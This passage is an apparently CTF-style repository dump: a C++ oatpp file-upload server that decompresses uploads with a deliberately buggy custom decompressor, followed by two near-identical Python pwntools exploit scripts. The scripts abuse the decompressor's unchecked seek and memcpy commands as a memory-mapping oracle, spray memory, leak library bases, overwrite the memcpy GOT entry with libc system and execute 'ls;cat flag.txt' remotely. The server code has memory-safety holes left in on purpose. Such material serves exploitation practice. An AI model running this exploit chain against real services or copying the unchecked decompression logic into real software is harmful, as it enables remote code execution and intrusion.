*(uint64_t*)(&in[cur]);\n                cur += sizeof(off);\n                uint64_t count = *(uint64_t*)(&in[cur]);\n                cur += sizeof(off);\n\n                memcpy(out, out-off, count);\n                out += count;\n                break;\n            }\n            default:\n                break;\n        }\n    }\n}\n"
  },
  {
    "path": "resources/dist-guess-god/src/kylezip/decompress.h",
    "content": "extern \"C\" int decompress(const char *fname);\n\n"
  },
  {
    "path": "resources/dist-guess-god/src/kylezip/test/kyle.c",
    "content": "#include <stdio.h>\nint decompress(const char *fname);\nint main(int argc, char** argv) {\n    if (argc != 2) return -1;\n    printf(\"Decompressing %s\\n\", argv[1]);\n    decompress(argv[1]);\n    return -1;\n}\n"
  },
  {
    "path": "resources/dist-guess-god/src/src/App.cpp",
    "content": "#include \"./controller/MyController.hpp\"\n#include \"./AppComponent.hpp\"\n\n#include \"oatpp/network/Server.hpp\"\n\n#include <iostream>\n\nvoid run() {\n\n  /* Register Components in scope of run() method */\n  AppComponent components;\n\n  /* Get router component */\n  OATPP_COMPONENT(std::shared_ptr<oatpp::web::server::HttpRouter>, router);\n\n  /* Create MyController and add all of its endpoints to router */\n  auto myController = std::make_shared<MyController>();\n  myController->addEndpointsToRouter(router);\n\n  /* Get connection handler component */\n  OATPP_COMPONENT(std::shared_ptr<oatpp::network::ConnectionHandler>, connectionHandler);\n\n  /* Get connection provider component */\n  OATPP_COMPONENT(std::shared_ptr<oatpp::network::ServerConnectionProvider>, connectionProvider);\n\n  /* Create server which takes provided TCP connections and passes them to HTTP connection handler */\n  oatpp::network::Server server(connectionProvider, connectionHandler);\n\n  /* Print info about server port */\n  OATPP_LOGI(\"MyApp\", \"Server running on port %s\", connectionProvider->getProperty(\"port\").getData());\n\n  /* Run server */\n  server.run();\n  \n}\n\n/**\n *  main\n */\nint main(int argc, const char * argv[]) {\n\n  oatpp::base::Environment::init();\n\n  run();\n  \n  /* Print how much objects were created during app running, and what have left-probably leaked */\n  /* Disable object counting for release builds using '-D OATPP_DISABLE_ENV_OBJECT_COUNTERS' flag for better performance */\n  std::cout << \"\\nEnvironment:\\n\";\n  std::cout << \"objectsCount = \" << oatpp::base::Environment::getObjectsCount() << \"\\n\";\n  std::cout << \"objectsCreated = \" << oatpp::base::Environment::getObjectsCreated() << \"\\n\\n\";\n  \n  oatpp::base::Environment::destroy();\n  \n  return 0;\n}\n"
  },
  {
    "path": "resources/dist-guess-god/src/src/AppComponent.hpp",
    "content": "#ifndef AppComponent_hpp\n#define AppComponent_hpp\n\n#include \"oatpp/web/server/HttpConnectionHandler.hpp\"\n\n#include \"oatpp/network/tcp/server/ConnectionProvider.hpp\"\n\n#include \"oatpp/parser/json/mapping/ObjectMapper.hpp\"\n\n#include \"oatpp/core/macro/component.hpp\"\n\n/**\n *  Class which creates and holds Application components and registers components in oatpp::base::Environment\n *  Order of components initialization is from top to bottom\n */\nclass AppComponent {\npublic:\n  \n  /**\n   *  Create ConnectionProvider component which listens on the port\n   */\n  OATPP_CREATE_COMPONENT(std::shared_ptr<oatpp::network::ServerConnectionProvider>, serverConnectionProvider)([] {\n    return oatpp::network::tcp::server::ConnectionProvider::createShared({\"0.0.0.0\", 8000, oatpp::network::Address::IP_4});\n  }());\n  \n  /**\n   *  Create Router component\n   */\n  OATPP_CREATE_COMPONENT(std::shared_ptr<oatpp::web::server::HttpRouter>, httpRouter)([] {\n    return oatpp::web::server::HttpRouter::createShared();\n  }());\n  \n  /**\n   *  Create ConnectionHandler component which uses Router component to route requests\n   */\n  OATPP_CREATE_COMPONENT(std::shared_ptr<oatpp::network::ConnectionHandler>, serverConnectionHandler)([] {\n    OATPP_COMPONENT(std::shared_ptr<oatpp::web::server::HttpRouter>, router); // get Router component\n    return oatpp::web::server::HttpConnectionHandler::createShared(router);\n  }());\n  \n  /**\n   *  Create ObjectMapper component to serialize/deserialize DTOs in Contoller's API\n   */\n  OATPP_CREATE_COMPONENT(std::shared_ptr<oatpp::data::mapping::ObjectMapper>, apiObjectMapper)([] {\n    return oatpp::parser::json::mapping::ObjectMapper::createShared();\n  }());\n\n};\n\n#endif /* AppComponent_hpp */\n"
  },
  {
    "path": "resources/dist-guess-god/src/src/controller/MyController.cpp",
    "content": "#include \"MyController.hpp\"\n#include <sys/mman.h>\n#include <fcntl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include \"decompress.h\"\n#include <sys/types.h>\n#include <sys/wait.h>\n\nstd::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract) {\n  auto pair = std::make_pair(file_id, extract);\n  \n  lock.lock();\n  if (fileCache.find(pair) != fileCache.end()) {\n    lock.unlock();\n    return fileCache[pair];\n  }\n\n  auto filename = fileMap[file_id].c_str();\n  lock.unlock();\n\n  std::ostringstream comp_fname;\n  comp_fname << filename;\n  if (extract) {\n    // Want the un-kylezip-d version\n    comp_fname << \".unkyle\";\n  }\n  auto to_open = comp_fname.str();\n\n  int fd = open(to_open.c_str(), O_RDONLY);\n  if (fd == -1) {\n      if (!extract) return NULL;\n\n      /* Need to create decompressed version of file\n       * Kyle gave me a buggy library so we are going to fork\n       * in case we crash the web server will still stay up.\n       */\n      pid_t p = fork();\n      if (p == 0) {\n        decompress(filename);\n        exit(0);\n      } else {\n        waitpid(p, NULL, 0);\n      }\n\n\n      fd = open(to_open.c_str(), O_RDONLY);\n      if (fd == -1) {\n        return NULL;\n      }\n  }\n\n  struct stat sb;\n  \n  if (fstat(fd, &sb) != 0) {\n      return NULL;\n  }\n  \n  /* mmap the file in for performance, or something... idk kyle made me write this */\n  \n  void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  if (mem == NULL) return NULL;\n\n  auto strbuf = oatpp::base::StrBuffer::createShared(mem, sb.st_size, false);\n  \n  lock.lock();\n  fileCache[pair] = strbuf;\n  lock.unlock();\n\n  return strbuf;\n}\n"
  },
  {
    "path": "resources/dist-guess-god/src/src/controller/MyController.hpp",
    "content": "#ifndef MyController_hpp\n#define MyController_hpp\n\n#include \"dto/DTOs.hpp\"\n#include <iostream>\n#include <sstream>\n\n#include \"oatpp/web/server/api/ApiController.hpp\"\n#include \"oatpp/core/macro/codegen.hpp\"\n#include \"oatpp/core/macro/component.hpp\"\n#include \"oatpp/core/data/stream/FileStream.hpp\"\n#include \"oatpp/web/mime/multipart/InMemoryPartReader.hpp\"\n#include \"oatpp/web/mime/multipart/Reader.hpp\"\n#include \"oatpp/web/mime/multipart/PartList.hpp\"\n\nnamespace multipart = oatpp::web::mime::multipart;\n\n#include OATPP_CODEGEN_BEGIN(ApiController) //<-- Begin Codegen\n\n/**\n * Sample Api Controller.\n */\nclass MyController : public oatpp::web::server::api::ApiController {\npublic:\n  /**\n   * Constructor with object mapper.\n   * @param objectMapper - default object mapper used to serialize/deserialize DTOs.\n   */\n  MyController(OATPP_COMPONENT(std::shared_ptr<ObjectMapper>, objectMapper))\n    : oatpp::web::server::api::ApiController(objectMapper)\n  {\n    OATPP_LOGD(\"MyController\", \"Constructor\");\n  }\n\npublic:\n  \n  ENDPOINT(\"GET\", \"/\", root) {\n    auto dto = MyDto::createShared();\n    dto->statusCode = 200;\n    dto->message = \"Hello World!\";\n    return createDtoResponse(Status::CODE_200, dto);\n  }\n\n  ENDPOINT(\"GET\", \"/files/{fileId}\", getFileById, PATH(Int32, fileId), QUERY(Boolean, extract, \"extract\", \"false\")) {\n    OATPP_LOGD(\"GetFile\", \"fileId=%d\", *fileId);\n    \n    /* Check if file exists */\n    lock.lock();\n    auto exists = fileMap.find(fileId) != fileMap.end();\n    lock.unlock();\n    \n    if (exists) {\n      /* File exists */\n      auto f = get_file(fileId, extract);\n      \n      if (f == NULL) {\n        auto dto = MyDto::createShared();\n        dto->statusCode = 500;\n        dto->message = \"Internal server error\";\n        return createDtoResponse(Status::CODE_500, dto);\n      }\n      \n      return createResponse(Status::CODE_200, f);\n    } else {\n      auto dto = MyDto::createShared();\n      dto->statusCode = 404;\n      dto->message = \"File not found\";\n      return createDtoResponse(Status::CODE_404, dto);\n    }\n    return createResponse(Status::CODE_200, \"OK\");\n  }\n\n  /* File uploads */\n  ENDPOINT(\"POST\", \"/upload/{fileId}\", upload, PATH(Int32, fileId), REQUEST(std::shared_ptr<IncomingRequest>, request)) {\n    \n    lock.lock();\n    auto exists = fileMap.find(fileId) != fileMap.end();\n    lock.unlock();\n\n    OATPP_LOGD(\"UploadFile\", \"fileId=%d\", *fileId);\n    if (exists) {\n      auto dto = MyDto::createShared();\n      dto->statusCode = 400;\n      dto->message = \"File already exists\";\n      return createDtoResponse(Status::CODE_400, dto);\n    }\n\n    std::ostringstream filename;\n    filename << \"files/\" << fileId;\n    auto filename_str = filename.str();\n    \n    /* Prepare multipart container. */\n    auto multipart = std::make_shared<multipart::PartList>(request->getHeaders());\n    multipart::Reader multipartReader(multipart.get());\n    multipartReader.setPartReader(\"file\", multipart::createInMemoryPartReader(128 * 1024 /* 128K max upload */));\n    request->transferBody(&multipartReader);\n    \n    auto filePart = multipart->getNamedPart(\"file\");\n\n    /* Assert part is not null */\n    OATPP_ASSERT_HTTP(filePart, Status::CODE_400, \"Missing file upload\");\n \n    filePart->getInMemoryData()->saveToFile(filename_str.c_str());\n    \n    lock.lock();\n    fileMap[fileId] = filename_str;\n    lock.unlock();\n    return createResponse(Status::CODE_200, \"OK\");\n  }\n\nprivate:\n  std::map<std::pair<int, bool>,std::shared_ptr<oatpp::base::StrBuffer>> fileCache;\n  std::map<int, std::string> fileMap;\n  std::mutex lock;\n  \n  /* helper functions */\n  std::shared_ptr<oatpp::base::StrBuffer> get_file(int file_id, bool compress);\n};\n\n#include OATPP_CODEGEN_END(ApiController) //<-- End Codegen\n\n#endif /* MyController_hpp */\n"
  },
  {
    "path": "resources/dist-guess-god/src/src/dto/DTOs.hpp",
    "content": "#ifndef DTOs_hpp\n#define DTOs_hpp\n\n#include \"oatpp/core/macro/codegen.hpp\"\n#include \"oatpp/core/Types.hpp\"\n\n#include OATPP_CODEGEN_BEGIN(DTO)\n\n/**\n *  Data Transfer Object. Object containing fields only.\n *  Used in API for serialization/deserialization and validation\n */\nclass MyDto : public oatpp::DTO {\n  \n  DTO_INIT(MyDto, DTO)\n  \n  DTO_FIELD(Int32, statusCode);\n  DTO_FIELD(String, message);\n  \n};\n\n#include OATPP_CODEGEN_END(DTO)\n\n#endif /* DTOs_hpp */\n"
  },
  {
    "path": "resources/dist-guess-god/src/test/MyControllerTest.cpp",
    "content": "#include \"MyControllerTest.hpp\"\n\n#include \"controller/MyController.hpp\"\n\n#include \"app/MyApiTestClient.hpp\"\n#include \"app/TestComponent.hpp\"\n\n#include \"oatpp/web/client/HttpRequestExecutor.hpp\"\n\n#include \"oatpp-test/web/ClientServerTestRunner.hpp\"\n\nvoid MyControllerTest::onRun() {\n\n  /* Register test components */\n  TestComponent component;\n\n  /* Create client-server test runner */\n  oatpp::test::web::ClientServerTestRunner runner;\n\n  /* Add MyController endpoints to the router of the test server */\n  runner.addController(std::make_shared<MyController>());\n\n  /* Run test */\n  runner.run([this, &runner] {\n\n    /* Get client connection provider for Api Client */\n    OATPP_COMPONENT(std::shared_ptr<oatpp::network::ClientConnectionProvider>, clientConnectionProvider);\n\n    /* Get object mapper component */\n    OATPP_COMPONENT(std::shared_ptr<oatpp::data::mapping::ObjectMapper>, objectMapper);\n\n    /* Create http request executor for Api Client */\n    auto requestExecutor = oatpp::web::client::HttpRequestExecutor::createShared(clientConnectionProvider);\n\n    /* Create Test API client */\n    auto client = MyApiTestClient::createShared(requestExecutor, objectMapper);\n\n    /* Call server API */\n    /* Call root endpoint of MyController */\n    auto response = client->getRoot();\n\n    /* Assert that server responds with 200 */\n    OATPP_ASSERT(response->getStatusCode() == 200);\n\n    /* Read response body as MessageDto */\n    auto message = response->readBodyToDto<oatpp::Object<MyDto>>(objectMapper.get());\n\n    /* Assert that received message is as expected */\n    OATPP_ASSERT(message);\n    OATPP_ASSERT(message->statusCode == 200);\n    OATPP_ASSERT(message->message == \"Hello World!\");\n\n  }, std::chrono::minutes(10) /* test timeout */);\n\n  /* wait all server threads finished */\n  std::this_thread::sleep_for(std::chrono::seconds(1));\n\n}\n"
  },
  {
    "path": "resources/dist-guess-god/src/test/MyControllerTest.hpp",
    "content": "#ifndef MyControllerTest_hpp\n#define MyControllerTest_hpp\n\n#include \"oatpp-test/UnitTest.hpp\"\n\nclass MyControllerTest : public oatpp::test::UnitTest {\npublic:\n\n  MyControllerTest() : UnitTest(\"TEST[MyControllerTest]\"){}\n  void onRun() override;\n\n};\n\n#endif // MyControllerTest_hpp\n"
  },
  {
    "path": "resources/dist-guess-god/src/test/app/MyApiTestClient.hpp",
    "content": "\n#ifndef MyApiTestClient_hpp\n#define MyApiTestClient_hpp\n\n#include \"oatpp/web/client/ApiClient.hpp\"\n#include \"oatpp/core/macro/codegen.hpp\"\n\n/* Begin Api Client code generation */\n#include OATPP_CODEGEN_BEGIN(ApiClient)\n\n/**\n * Test API client.\n * Use this client to call application APIs.\n */\nclass MyApiTestClient : public oatpp::web::client::ApiClient {\n\n  API_CLIENT_INIT(MyApiTestClient)\n\n  API_CALL(\"GET\", \"/\", getRoot)\n\n  // TODO - add more client API calls here\n\n};\n\n/* End Api Client code generation */\n#include OATPP_CODEGEN_END(ApiClient)\n\n#endif // MyApiTestClient_hpp\n"
  },
  {
    "path": "resources/dist-guess-god/src/test/app/TestComponent.hpp",
    "content": "#ifndef TestComponent_htpp\n#define TestComponent_htpp\n\n#include \"oatpp/web/server/HttpConnectionHandler.hpp\"\n\n#include \"oatpp/network/virtual_/client/ConnectionProvider.hpp\"\n#include \"oatpp/network/virtual_/server/ConnectionProvider.hpp\"\n#include \"oatpp/network/virtual_/Interface.hpp\"\n\n#include \"oatpp/parser/json/mapping/ObjectMapper.hpp\"\n\n#include \"oatpp/core/macro/component.hpp\"\n\n/**\n * Test Components config\n */\nclass TestComponent {\npublic:\n\n  /**\n   * Create oatpp virtual network interface for test networking\n   */\n  OATPP_CREATE_COMPONENT(std::shared_ptr<oatpp::network::virtual_::Interface>, virtualInterface)([] {\n    return oatpp::network::virtual_::Interface::obtainShared(\"virtualhost\");\n  }());\n\n  /**\n   * Create server ConnectionProvider of oatpp virtual connections for test\n   */\n  OATPP_CREATE_COMPONENT(std::shared_ptr<oatpp::network::ServerConnectionProvider>, serverConnectionProvider)([] {\n    OATPP_COMPONENT(std::shared_ptr<oatpp::network::virtual_::Interface>, interface);\n    return oatpp::network::virtual_::server::ConnectionProvider::createShared(interface);\n  }());\n\n  /**\n   * Create client ConnectionProvider of oatpp virtual connections for test\n   */\n  OATPP_CREATE_COMPONENT(std::shared_ptr<oatpp::network::ClientConnectionProvider>, clientConnectionProvider)([] {\n    OATPP_COMPONENT(std::shared_ptr<oatpp::network::virtual_::Interface>, interface);\n    return oatpp::network::virtual_::client::ConnectionProvider::createShared(interface);\n  }());\n\n  /**\n   *  Create Router component\n   */\n  OATPP_CREATE_COMPONENT(std::shared_ptr<oatpp::web::server::HttpRouter>, httpRouter)([] {\n    return oatpp::web::server::HttpRouter::createShared();\n  }());\n\n  /**\n   *  Create ConnectionHandler component which uses Router component to route requests\n   */\n  OATPP_CREATE_COMPONENT(std::shared_ptr<oatpp::network::ConnectionHandler>, serverConnectionHandler)([] {\n    OATPP_COMPONENT(std::shared_ptr<oatpp::web::server::HttpRouter>, router); // get Router component\n    return oatpp::web::server::HttpConnectionHandler::createShared(router);\n  }());\n\n  /**\n   *  Create ObjectMapper component to serialize/deserialize DTOs in Contoller's API\n   */\n  OATPP_CREATE_COMPONENT(std::shared_ptr<oatpp::data::mapping::ObjectMapper>, apiObjectMapper)([] {\n    return oatpp::parser::json::mapping::ObjectMapper::createShared();\n  }());\n\n};\n\n\n#endif // TestComponent_htpp\n"
  },
  {
    "path": "resources/dist-guess-god/src/test/tests.cpp",
    "content": "\n#include \"MyControllerTest.hpp\"\n\n#include <iostream>\n\nvoid runTests() {\n  OATPP_RUN_TEST(MyControllerTest);\n}\n\nint main() {\n\n  oatpp::base::Environment::init();\n\n  runTests();\n\n  /* Print how much objects were created during app running, and what have left-probably leaked */\n  /* Disable object counting for release builds using '-D OATPP_DISABLE_ENV_OBJECT_COUNTERS' flag for better performance */\n  std::cout << \"\\nEnvironment:\\n\";\n  std::cout << \"objectsCount = \" << oatpp::base::Environment::getObjectsCount() << \"\\n\";\n  std::cout << \"objectsCreated = \" << oatpp::base::Environment::getObjectsCreated() << \"\\n\\n\";\n\n  OATPP_ASSERT(oatpp::base::Environment::getObjectsCount() == 0);\n\n  oatpp::base::Environment::destroy();\n\n  return 0;\n}\n"
  },
  {
    "path": "resources/dist-guess-god/src/utility/install-oatpp-modules.sh",
    "content": "#!/bin/sh\n\nrm -rf tmp\n\nmkdir tmp\ncd tmp\n\n##########################################################\n## install oatpp\n\nMODULE_NAME=\"oatpp\"\n\ngit clone --depth=1 https://github.com/oatpp/$MODULE_NAME\n\ncd $MODULE_NAME\nmkdir build\ncd build\n\ncmake -DOATPP_BUILD_TESTS=OFF -DCMAKE_BUILD_TYPE=Release ..\nmake install -j 6\n\ncd ../../\n\n##########################################################\n\ncd ../\n\nrm -rf tmp\n"
  },
  {
    "path": "resources/reliable_exploit.py",
    "content": "import requests\nimport socket\nfrom pwn import remote, context, args, u64, p64, ELF\n\ncontext.log_level = 100\n\n### INTERACTION ###\n\ndef uploadFile(blob: bytes, fileid: int):\n    assert (fileid < (1<<31) - 1)\n\n    multipart_form_data = {\n        'file': (f'payload_{fileid}', blob),\n    }\n\n    res = requests.post(\n        f\"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}\",\n        files=multipart_form_data\n    )\n\n    return res\n\ndef getFile(fileid: int, extract=\"true\"):\n    res = requests.get(f\"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}\")\n    return res\n\n# Used by isAddrMapped oracle\ndef getFileRaw(fileid):\n    rawReq = f'GET /files/{fileid}?extract=true HTTP/1.1\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n'\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((SERVER_IP , SERVER_PORT))\n    io = remote.fromsocket(s)\n    io.send(rawReq.encode())\n    io.recvuntil(b'\\r\\n\\r\\n')\n    buf = io.recv(2)\n    io.close()\n    s.close()\n    return buf\n\n### EXPLOIT ###\n\nIN_ADDR = 0x42069000000 # PROT R\nOUT_ADDR = 0x13371337000 # PROT RW\nM64 = (1<<64)-1\n\ndef align(x, a=0x1000):\n    mask = a-1\n    return (x + mask) & ~mask\n\nclass CompressedFile():\n    __slots__ = ['cur', 'content', 'out']\n\n    def __init__(self, filesize):\n        self.cur = 16\n        self.content = b''\n        self.content += p64(0x0123456789abcdef) # magic\n        self.content += p64(filesize) # file size\n        self.out = OUT_ADDR\n\n    def nop(self):\n        self.content += b'\\x00' # cmd0\n        self.cur += 1\n\n    def write(self, b: bytes):\n        assert len(b) == 1\n\n        self.content += b'\\x01' + b # cmd1 + byte\n        self.cur += 2\n        self.out += 1 & M64\n\n    def seek(self, off):\n        self.content += b'\\x02' # cmd2\n        self.content += p64(off) # offset\n        self.cur += 9\n        self.out += off & M64\n\n    \n    def memcpy(self, off, count):\n        # memcpy(out, out-off, count);\n        self.content += b'\\x03' # cmd33\n        self.content += p64(off) # offset\n        self.content += p64(count) # offset\n        self.cur += 17\n        self.out += count & M64\n\ndef isAddrMapped(addr, fileid, filelen=2):\n    toup = CompressedFile(filelen)\n    \n    # addr = OUT_ADDR - off\n    off = (OUT_ADDR - addr) & M64\n    # memcpy(toup.out, addr, 1)\n    toup.memcpy(off, 1)\n    # *(toup.out+1) = 0x41\n    toup.write(b'A')\n\n    uploadFile(toup.content, fileid)\n    res = getFileRaw(fileid).split(b'\\r\\n')[-1]\n    isMapped = res[1] == 0x41\n    \n    return isMapped\n\ndef readFromAddr(addr, size, fileid):\n    toup = CompressedFile(size)\n\n    off = (OUT_ADDR - addr) & M64\n    toup.memcpy(off, size)\n\n    uploadFile(toup.content, fileid)\n    res = getFile(fileid)\n\n    return res.content\n\nSERVER_IP = args.SERVER_IP or '127.0.0.1'\nSERVER_PORT = int(args.SERVER_PORT or 7002)\n\nif args.EXPLOIT:\n    print (f\"Spraying memory to allocate 3840mb of memory\", end='')\n    size =    0x000004000000\n    for i in range(0, 60):\n        print ('.', end='')\n        #print (f\"Spray: {i = } {mem = :#x}\")\n        # this will create mappings in the father process of the given size\n        isAddrMapped(IN_ADDR, i, size)\n\n    print ('OK')\n\n    start = 0x7f0000000000\n    end = 0x800000000000 \n    step = 0x100000000 # 4gb\n\n    isMapped = False\n    j = 0xff\n    while isMapped == False:\n        leakAddr = start + j*step\n        isMapped = (isAddrMapped(leakAddr, 1000 + j))\n        j -= 1\n        if j < 0:\n            raise ValueError(\"wtf j < 0\")\n\n    # at this point we have a mapped address like this\n    # 0x7fXX00000000\n\n    def linearFindLargest(base, increment, idstart):\n        for i in range(0, 16)[::-1]:\n            print (f\"{base + increment*i:#x}\", end='\\t|\\t')\n            if isAddrMapped(base + increment*i, idstart+i):\n                print ('Yes')\n                return i*increment\n            print ('No')\n        raise ValueError()\n\n    def findLastMappedPage(baseAddr, fileid):\n        # Find upper bound, we can't do a binary search because there are some holes which\n        # screw things up\n        try:\n            lastMappedPage = baseAddr\n            lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, fileid)\n            lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, fileid+16)\n            lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, fileid+16*2)\n            lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, fileid+16*3)\n            lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, fileid+16*4)\n\n            return lastMappedPage\n        except ValueError: \n            return baseAddr\n\n    def isElfPage(page, fileid):\n        return readFromAddr(page, 4, fileid) == b'\\x7fELF'\n\n    retries = 0\n    while True:\n        libkayle_off = 0x1000*60\n        lastMappedPage = findLastMappedPage(leakAddr, 40000 + retries*100)\n        libkaylebase = lastMappedPage - libkayle_off\n        print (f\"attempt {lastMappedPage = :#x}\")\n\n        if isElfPage(libkaylebase, 9120500 + retries):\n            print (\"OK\")\n            break\n\n        leakAddr += 0x1000000\n        retries += 1\n\n    print (f\"{libkaylebase = :#x}\")\n    memcpy_got = libkaylebase + 0x4048\n    print (f\"{memcpy_got = :#x}\")\n    libcbase = libkaylebase - 0x442000\n    print (f'{libcbase = :#x}')\n    libc = ELF('./libc-2.33.so')\n    libc.address = libcbase\n    print (f\"{libc.symbols['system'] = :#x}\")\n\n    # exp is a CompressedFile which:\n    # - writes libc.system to memcpy_got\n    # - calls memcpy(cmd, 0, 0) -> system(cmd)\n    cmd = b\"ls;cat flag.txt;\\x00\"\n    exp = CompressedFile(24)\n    \n    exp.seek((memcpy_got - OUT_ADDR)&M64)\n    # out=memcpy_got\n    for b in p64(libc.symbols['system']):\n        exp.write(bytes([b]))\n    # now out=memcpy_got+8\n    # memcpy(out, out-off, size) will be\n    # system(out)\n    \n    in_addr_off = len(exp.content)\n    exp.content += cmd\n    # seek to IN_ADDR+in_addr_off, that's where cmd is stored\n    exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64) \n    exp.memcpy(0, 0) # system(cmd)\n    \n    uploadFile(exp.content, 123001)\n    # profit\n    getFile(123001)\n"
  },
  {
    "path": "resources/x.py",
    "content": "import requests\nimport socket\nfrom pwn import remote, context, args, u64, p64, ELF\n\ncontext.log_level = 100\n\n### INTERACTION ###\n\ndef uploadFile(blob: bytes, fileid: int):\n    assert (fileid < (1<<31) - 1)\n\n    multipart_form_data = {\n        'file': (f'payload_{fileid}', blob),\n    }\n\n    res = requests.post(\n        f\"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}\",\n        files=multipart_form_data\n    )\n\n    return res\n\ndef getFile(fileid: int, extract=\"true\"):\n    res = requests.get(f\"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}\")\n    return res\n\n# Used by isAddrMapped oracle\ndef getFileRaw(fileid):\n    rawReq = f'GET /files/{fileid}?extract=true HTTP/1.1\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n'\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((SERVER_IP , SERVER_PORT))\n    io = remote.fromsocket(s)\n    io.send(rawReq.encode())\n    io.recvuntil(b'\\r\\n\\r\\n')\n    buf = io.recv(2)\n    io.close()\n    s.close()\n    return buf\n\n### EXPLOIT ###\n\nIN_ADDR = 0x42069000000 # PROT R\nOUT_ADDR = 0x13371337000 # PROT RW\nM64 = (1<<64)-1\n\ndef align(x, a=0x1000):\n    mask = a-1\n    return (x + mask) & ~mask\n\nclass CompressedFile():\n    __slots__ = ['cur', 'content', 'out']\n\n    def __init__(self, filesize):\n        self.cur = 16\n        self.content = b''\n        self.content += p64(0x0123456789abcdef) # magic\n        self.content += p64(filesize) # file size\n        self.out = OUT_ADDR\n\n    def nop(self):\n        self.content += b'\\x00' # cmd0\n        self.cur += 1\n\n    def write(self, b: bytes):\n        assert len(b) == 1\n\n        self.content += b'\\x01' + b # cmd1 + byte\n        self.cur += 2\n        self.out += 1 & M64\n\n    def seek(self, off):\n        self.content += b'\\x02' # cmd2\n        self.content += p64(off) # offset\n        self.cur += 9\n        self.out += off & M64\n\n    \n    def memcpy(self, off, count):\n        # memcpy(out, out-off, count);\n        self.content += b'\\x03' # cmd33\n        self.content += p64(off) # offset\n        self.content += p64(count) # offset\n        self.cur += 17\n        self.out += count & M64\n\ndef isAddrMapped(addr, fileid, filelen=2):\n    toup = CompressedFile(filelen)\n    \n    # addr = OUT_ADDR - off\n    off = (OUT_ADDR - addr) & M64\n    # memcpy(toup.out, addr, 1)\n    toup.memcpy(off, 1)\n    # *(toup.out+1) = 0x41\n    toup.write(b'A')\n\n    uploadFile(toup.content, fileid)\n    res = getFileRaw(fileid).split(b'\\r\\n')[-1]\n    isMapped = res[1] == 0x41\n    \n    return isMapped\n\ndef readFromAddr(addr, size, fileid):\n    toup = CompressedFile(size)\n\n    off = (OUT_ADDR - addr) & M64\n    toup.memcpy(off, size)\n\n    uploadFile(toup.content, fileid)\n    res = getFile(fileid)\n\n    return res.content\n\nSERVER_IP = args.SERVER_IP or '127.0.0.1'\nSERVER_PORT = int(args.SERVER_PORT or 7002)\n\nif args.EXPLOIT:\n    print (f\"Spraying memory to allocate 3840mb of memory\", end='')\n    size =    0x000004000000\n    for i in range(0, 60):\n        print ('.', end='')\n        #print (f\"Spray: {i = } {mem = :#x}\")\n        # this will create mappings in the father process of the given size\n        isAddrMapped(IN_ADDR, i, size)\n\n    print ('OK')\n\n    start = 0x7f0000000000\n    end = 0x800000000000 \n    step = 0x100000000 # 4gb\n\n    isMapped = False\n    j = 0xff\n    while isMapped == False:\n        leakAddr = start + j*step\n        isMapped = (isAddrMapped(leakAddr, 1000 + j))\n        j -= 1\n        if j < 0:\n            raise ValueError(\"wtf j < 0\")\n\n    # at this point we have a mapped address like this\n    # 0x7fXX00000000\n\n    def linearFindLargest(base, increment, idstart):\n        for i in range(0, 16)[::-1]:\n            print (f\"{base + increment*i:#x}\", end='\\t|\\t')\n            if isAddrMapped(base + increment*i, idstart+i):\n                print ('Yes')\n                return i*increment\n            print ('No')\n        raise Exception(\"find_largest should not fail\")\n\n    # Find upper bound, we can't do a binary search because there are some holes which\n    # screw things up\n    lastMappedPage = leakAddr\n    # + linearFindLargest(leakAddr, 0x100000000, 39000) # +0x8000000 because of holes\n    lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000)\n    lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100)\n    lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200)\n    lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300)\n    lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400)\n\n    print (f\"{lastMappedPage = :#x}\")\n\n    # Scan backwards looking for b'\\x7fELF'\n    i = 50\n    numElf = 0\n\n    while numElf != 2:\n        theAddr = lastMappedPage-0x1000*i\n        hdr = readFromAddr(theAddr, 4, 40500+i)\n        print(f\"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}\")\n        if hdr == b'\\x7fELF':\n            numElf += 1\n            print (f\"found elf at {theAddr:#x}\")\n\n        if i > 70:\n            print (\"Exploit failed, upper bound address was wrong\")\n            exit(1)\n\n        i += 1\n    \n    libkaylebase = theAddr\n    print (f\"{libkaylebase = :#x}\")\n    memcpy_got = libkaylebase + 0x4048\n    print (f\"{memcpy_got = :#x}\")\n    libcbase = libkaylebase - 0x442000\n    print (f'{libcbase = :#x}')\n    print (readFromAddr(libcbase, 100, 123000))\n    libc = ELF('./libc-2.33.so')\n    libc.address = libcbase\n    print (f\"{libc.symbols['system'] = :#x}\")\n\n    # exp is a CompressedFile which:\n    # - writes libc.system to memcpy_got\n    # - calls memcpy(cmd, 0, 0) -> system(cmd)\n    cmd = b\"ls;cat flag.txt;\\x00\"\n    exp = CompressedFile(24)\n    \n    exp.seek((memcpy_got - OUT_ADDR)&M64)\n    # out=memcpy_got\n    for b in p64(libc.symbols['system']):\n        exp.write(bytes([b]))\n    # now out=memcpy_got+8\n    # memcpy(out, out-off, size) will be\n    # system(out)\n    \n    in_addr_off = len(exp.content)\n    exp.content += cmd\n    # seek to IN_ADDR+in_addr_off, that's where cmd is stored\n    exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64) \n    exp.memcpy(0, 0) # system(cmd)\n    \n    uploadFile(exp.content, 123001)\n    # profit\n    getFile(123001)\n"
  }
]